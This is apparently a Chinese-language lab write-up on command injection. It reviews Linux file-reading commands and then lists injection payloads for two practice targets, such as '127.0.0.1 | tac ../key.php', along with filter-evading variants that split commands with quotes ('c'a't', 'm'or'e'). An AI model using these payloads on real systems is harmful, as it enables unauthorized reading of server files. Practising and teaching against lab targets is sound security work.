个人觉得这个命令注入是最简单的。
在这之前先来了解下读文件都可以用哪些命令吧。
linux常用于读取文件内容指令主要有以下七种:
cat、tac、nl、more、less、head、tail
cat: 由第一行开始显示内容,并将所有内容输出
cat 文件名 将文件内容显示在屏幕上
cat -n 文件名 将文件内容显示在屏幕上,并显示行号
cat -b 文件名 将文件内容显示在屏幕上,并显示行号,但是不显示空白行行号
tac: 从最后一行倒序显示内容,并将所有内容输出
tac 文件名 将文件内容显示在屏幕上,但是是从最后一行开始往前显示
tac -s separator 文件名 –从separator往后倒序输出,倒序输出不包含separator,输出到最后一行再按照顺序将separator之前的内容输出
tac -b -s separator 文件名 –从separator往后倒序输出,倒序输出包含separator,输出到最后一行再按照顺序将separator之前的内容输出
nl: 类似于cat-n,显示时输出行号
nl 文件名 (就是nl -b t 文件名) 使用nl指令肯定是显示行号的,主要是操作行号如何显示
nl -b a 文件名 显示行号,空行也显示行号
nl -b t 文件名 显示行号,空行不显示行号(默认值)
nl -w 数字x 文件名 行号字段所占用的位数
nl -n ln 文件名 行号在字段最前方那段空间最左端显示
nl -n rn 文件名 行号在字段最前方那段空间最右端端显示,且不加0
nl -n rz 文件名 行号在字段最前方那段空间最右端端显示,且加0
more:根据窗口大小,一页一页的查看文件内容
more 文件名
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
less 文件名
head:只显示头几行
haed 文件名 –显示文件头十行
tail:只显示最后几行
tail文件名 –显示文件尾部
靶场一:
直接构造payload:
127.0.0.1 | tac ../key.php
经测试,以下payload均可完成这道题。
127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key
靶场二:
类似于第一个靶场,直接用刚才的payload试:
127.0.0.1 | m'or'e ../key.php
经测试这个靶场可以用的payload:
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 |xxd ../key.php
127.0.0.1 |grep "key" ../key.php
到这里命令执行就搞定了,下一篇日志分析。